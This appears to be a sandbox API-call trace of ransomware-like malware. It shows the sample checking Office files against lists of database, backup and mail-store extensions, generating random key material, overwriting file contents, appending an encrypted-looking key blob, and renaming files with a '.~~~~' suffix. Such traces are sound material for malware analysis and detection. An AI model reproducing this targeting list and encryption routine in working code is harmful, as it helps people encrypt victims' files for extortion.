	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DBV") returned 0x0
	[0137.441] lstrlenW (lpString=".dacpac") returned 7
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".dacpac") returned 0x0
	[0137.441] lstrlenW (lpString=".sdf") returned 4
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".sdf") returned 0x0
	[0137.441] lstrlenW (lpString=".accdb") returned 6
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".accdb") returned 0x0
	[0137.441] lstrlenW (lpString=".DBX") returned 4
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DBX") returned 0x0
	[0137.442] lstrlenW (lpString=".MDT") returned 4
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".MDT") returned 0x0
	[0137.442] lstrlenW (lpString=".SQB") returned 4
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".SQB") returned 0x0
	[0137.442] lstrlenW (lpString=".vhd") returned 4
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".vhd") returned 0x0
	[0137.442] lstrlenW (lpString=".bac") returned 4
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".bac") returned 0x0
	[0137.442] lstrlenW (lpString=".mdf") returned 4
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".mdf") returned 0x0
	[0137.442] lstrlenW (lpString=".BAK") returned 4
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".BAK") returned 0x0
	[0137.442] lstrlenW (lpString=".BAC") returned 4
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".BAC") returned 0x0
	[0137.442] lstrlenW (lpString=".dbs") returned 4
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".dbs") returned 0x0
	[0137.442] lstrlenW (lpString=".vhdx") returned 5
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".vhdx") returned 0x0
	[0137.442] lstrlenW (lpString=".NDF") returned 4
	[0137.442] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".NDF") returned 0x0
	[0137.442] lstrlenW (lpString=".dat") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".dat") returned 0x0
	[0137.443] lstrlenW (lpString=".DBS") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DBS") returned 0x0
	[0137.443] lstrlenW (lpString=".CKP") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".CKP") returned 0x0
	[0137.443] lstrlenW (lpString=".edb") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".edb") returned 0x0
	[0137.443] lstrlenW (lpString=".PST") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".PST") returned 0x0
	[0137.443] lstrlenW (lpString=".dbf") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".dbf") returned 0x0
	[0137.443] lstrlenW (lpString=".SQL") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".SQL") returned 0x0
	[0137.443] lstrlenW (lpString=".pst") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".pst") returned 0x0
	[0137.443] lstrlenW (lpString=".dbv") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".dbv") returned 0x0
	[0137.443] lstrlenW (lpString=".SDF") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".SDF") returned 0x0
	[0137.443] lstrlenW (lpString=".dtxs") returned 5
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".dtxs") returned 0x0
	[0137.443] lstrlenW (lpString=".db3") returned 4
	[0137.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".db3") returned 0x0
	[0137.443] lstrlenW (lpString=".OST") returned 4
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".OST") returned 0x0
	[0137.444] lstrlenW (lpString=".dbx") returned 4
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".dbx") returned 0x0
	[0137.444] lstrlenW (lpString=".DB3") returned 4
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DB3") returned 0x0
	[0137.444] lstrlenW (lpString=".DAT") returned 4
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DAT") returned 0x0
	[0137.444] lstrlenW (lpString=".VHDX") returned 5
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".VHDX") returned 0x0
	[0137.444] lstrlenW (lpString=".ndf") returned 4
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".ndf") returned 0x0
	[0137.444] lstrlenW (lpString=".DB") returned 3
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DB") returned 0x0
	[0137.444] lstrlenW (lpString=".sql") returned 4
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".sql") returned 0x0
	[0137.444] lstrlenW (lpString=".MYD") returned 4
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".MYD") returned 0x0
	[0137.444] lstrlenW (lpString=".DBT") returned 4
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DBT") returned 0x0
	[0137.444] lstrlenW (lpString=".ACCDB") returned 6
	[0137.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".ACCDB") returned 0x0
	[0137.445] lstrlenW (lpString=".fdb") returned 4
	[0137.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".fdb") returned 0x0
	[0137.445] lstrlenW (lpString=".bak") returned 4
	[0137.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".bak") returned 0x0
	[0137.445] lstrlenW (lpString=".myd") returned 4
	[0137.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".myd") returned 0x0
	[0137.445] lstrlenW (lpString=".DTXS") returned 5
	[0137.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DTXS") returned 0x0
	[0137.445] lstrlenW (lpString=".ckp") returned 4
	[0137.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".ckp") returned 0x0
	[0137.445] lstrlenW (lpString=".dbt") returned 4
	[0137.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".dbt") returned 0x0
	[0137.445] lstrlenW (lpString=".db") returned 3
	[0137.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".db") returned 0x0
	[0137.446] lstrlenW (lpString=".TXT") returned 4
	[0137.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".TXT") returned 0x0
	[0137.446] lstrlenW (lpString=".MDF") returned 4
	[0137.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".MDF") returned 0x0
	[0137.446] lstrlenW (lpString=".bdb") returned 4
	[0137.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".bdb") returned 0x0
	[0137.446] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0137.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.446] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394860) returned 1
	[0137.447] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.447] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0137.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0137.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0137.448] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25743770637) returned 1
	[0137.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbb5ed390, dwHighDateTime=0x1d60e1e)) 
	[0137.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0137.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0137.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0137.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825710
	[0137.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825710 | out: hHeap=0x300000) returned 1
	[0137.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5ff0
	[0137.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.449] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0137.449] GetLastError () returned 0x0
	[0137.449] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0137.449] GetLastError () returned 0x0
	[0137.452] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffd000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.452] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3000, lpOverlapped=0x0) returned 1
	[0137.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.452] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.452] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.452] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.452] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.453] CloseHandle (hObject=0x108) returned 1
	[0137.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5ff0
	[0137.453] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt.~~~~")) returned 1
	[0137.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5ff0 | out: hHeap=0x300000) returned 1
	[0137.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.456] GetLastError () returned 0x0
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".scr") returned 0x0
	[0137.456] lstrlenW (lpString=".cmd") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".cmd") returned 0x0
	[0137.456] lstrlenW (lpString=".dll") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".dll") returned 0x0
	[0137.456] lstrlenW (lpString=".bat") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".bat") returned 0x0
	[0137.456] lstrlenW (lpString=".cpl") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".cpl") returned 0x0
	[0137.456] lstrlenW (lpString=".sys") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".sys") returned 0x0
	[0137.456] lstrlenW (lpString=".msc") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".msc") returned 0x0
	[0137.456] lstrlenW (lpString=".com") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".com") returned 0x0
	[0137.456] lstrlenW (lpString=".lnk") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".lnk") returned 0x0
	[0137.456] lstrlenW (lpString=".msp") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".msp") returned 0x0
	[0137.456] lstrlenW (lpString=".pif") returned 4
	[0137.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".pif") returned 0x0
	[0137.457] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0137.459] lstrlenW (lpString=".sqb") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".sqb") returned 0x0
	[0137.459] lstrlenW (lpString=".ost") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".ost") returned 0x0
	[0137.459] lstrlenW (lpString=".txt") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".txt") returned 0x0
	[0137.459] lstrlenW (lpString=".mdt") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".mdt") returned 0x0
	[0137.459] lstrlenW (lpString=".BDB") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".BDB") returned 0x0
	[0137.459] lstrlenW (lpString=".eql") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".eql") returned 0x0
	[0137.459] lstrlenW (lpString=".DBF") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DBF") returned 0x0
	[0137.459] lstrlenW (lpString=".EQL") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".EQL") returned 0x0
	[0137.459] lstrlenW (lpString=".FDB") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".FDB") returned 0x0
	[0137.459] lstrlenW (lpString=".EDB") returned 4
	[0137.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".EDB") returned 0x0
	[0137.459] lstrlenW (lpString=".DACPAC") returned 7
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DACPAC") returned 0x0
	[0137.460] lstrlenW (lpString=".VHD") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".VHD") returned 0x0
	[0137.460] lstrlenW (lpString=".DBV") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DBV") returned 0x0
	[0137.460] lstrlenW (lpString=".dacpac") returned 7
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".dacpac") returned 0x0
	[0137.460] lstrlenW (lpString=".sdf") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".sdf") returned 0x0
	[0137.460] lstrlenW (lpString=".accdb") returned 6
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".accdb") returned 0x0
	[0137.460] lstrlenW (lpString=".DBX") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DBX") returned 0x0
	[0137.460] lstrlenW (lpString=".MDT") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".MDT") returned 0x0
	[0137.460] lstrlenW (lpString=".SQB") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".SQB") returned 0x0
	[0137.460] lstrlenW (lpString=".vhd") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".vhd") returned 0x0
	[0137.460] lstrlenW (lpString=".bac") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".bac") returned 0x0
	[0137.460] lstrlenW (lpString=".mdf") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".mdf") returned 0x0
	[0137.460] lstrlenW (lpString=".BAK") returned 4
	[0137.460] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".BAK") returned 0x0
	[0137.460] lstrlenW (lpString=".BAC") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".BAC") returned 0x0
	[0137.461] lstrlenW (lpString=".dbs") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".dbs") returned 0x0
	[0137.461] lstrlenW (lpString=".vhdx") returned 5
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".vhdx") returned 0x0
	[0137.461] lstrlenW (lpString=".NDF") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".NDF") returned 0x0
	[0137.461] lstrlenW (lpString=".dat") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".dat") returned 0x0
	[0137.461] lstrlenW (lpString=".DBS") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DBS") returned 0x0
	[0137.461] lstrlenW (lpString=".CKP") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".CKP") returned 0x0
	[0137.461] lstrlenW (lpString=".edb") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".edb") returned 0x0
	[0137.461] lstrlenW (lpString=".PST") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".PST") returned 0x0
	[0137.461] lstrlenW (lpString=".dbf") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".dbf") returned 0x0
	[0137.461] lstrlenW (lpString=".SQL") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".SQL") returned 0x0
	[0137.461] lstrlenW (lpString=".pst") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".pst") returned 0x0
	[0137.461] lstrlenW (lpString=".dbv") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".dbv") returned 0x0
	[0137.461] lstrlenW (lpString=".SDF") returned 4
	[0137.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".SDF") returned 0x0
	[0137.461] lstrlenW (lpString=".dtxs") returned 5
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".dtxs") returned 0x0
	[0137.462] lstrlenW (lpString=".db3") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".db3") returned 0x0
	[0137.462] lstrlenW (lpString=".OST") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".OST") returned 0x0
	[0137.462] lstrlenW (lpString=".dbx") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".dbx") returned 0x0
	[0137.462] lstrlenW (lpString=".DB3") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DB3") returned 0x0
	[0137.462] lstrlenW (lpString=".DAT") returned 4
	[0137.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS", lpSrch=".DAT") returned 0x0
